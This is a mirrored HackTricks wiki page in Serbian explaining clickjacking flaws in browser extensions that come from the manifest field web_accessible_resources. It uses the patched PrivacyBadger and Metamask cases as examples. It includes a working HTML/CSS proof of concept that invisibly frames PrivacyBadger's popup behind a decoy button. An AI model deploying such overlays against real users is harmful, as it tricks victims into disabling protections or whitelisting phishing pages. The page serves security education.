mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
4.9 KiB
Markdown
98 lines
4.9 KiB
Markdown
# BrowExt - ClickJacking
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Osnovne informacije
|
|
|
|
Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji za pregledač.\
|
|
Ako ne znate šta je ClickJacking, proverite:
|
|
|
|
{{#ref}}
|
|
../clickjacking.md
|
|
{{#endref}}
|
|
|
|
Ekstenzije sadrže datoteku **`manifest.json`** i ta JSON datoteka ima polje `web_accessible_resources`. Evo šta [Chrome dokumentacija](https://developer.chrome.com/extensions/manifest/web_accessible_resources) kaže o tome:
|
|
|
|
> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
|
|
|
**`web_accessible_resources`** u ekstenziji za pregledač nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:
|
|
|
|
- Promene stanje ekstenzije
|
|
- Učitaju dodatne resurse
|
|
- Interaguju sa pregledačem do određene mere
|
|
|
|
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.
|
|
|
|
## Primer PrivacyBadger
|
|
|
|
U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je deklarisan kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
|
```json
|
|
"web_accessible_resources": [
|
|
"skin/*",
|
|
"icons/*"
|
|
]
|
|
```
|
|
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se videti u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
|
|
|
Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje `/skin/*` iz liste `web_accessible_resources`. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj `skin/` direktorijuma ne može biti pristupljen ili manipulisan putem web-pristupa.
|
|
|
|
Rešenje je bilo jednostavno: **ukloniti `/skin/*` iz `web_accessible_resources`**.
|
|
|
|
### PoC
|
|
```html
|
|
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
|
|
|
<style>
|
|
iframe {
|
|
width: 430px;
|
|
height: 300px;
|
|
opacity: 0.01;
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
#stuff {
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
button {
|
|
float: top;
|
|
position: absolute;
|
|
top: 168px;
|
|
left: 100px;
|
|
}
|
|
</style>
|
|
|
|
<div id="stuff">
|
|
<h1>Click the button</h1>
|
|
<button id="button">click me</button>
|
|
</div>
|
|
|
|
<iframe
|
|
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
|
</iframe>
|
|
```
|
|
## Metamask Primer
|
|
|
|
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). U ovom slučaju, Metamask je ispravio ranjivost proveravajući da li je protokol koji se koristi za pristup **`https:`** ili **`http:`** (ne **`chrome:`** na primer):
|
|
|
|
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je iskoristi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu.
|
|
|
|
## Steam Inventory Helper Primer
|
|
|
|
Proverite sledeću stranicu da biste videli kako je **XSS** u ekstenziji pretraživača povezan sa **ClickJacking** ranjivošću:
|
|
|
|
{{#ref}}
|
|
browext-xss-example.md
|
|
{{#endref}}
|
|
|
|
## Reference
|
|
|
|
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
|
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|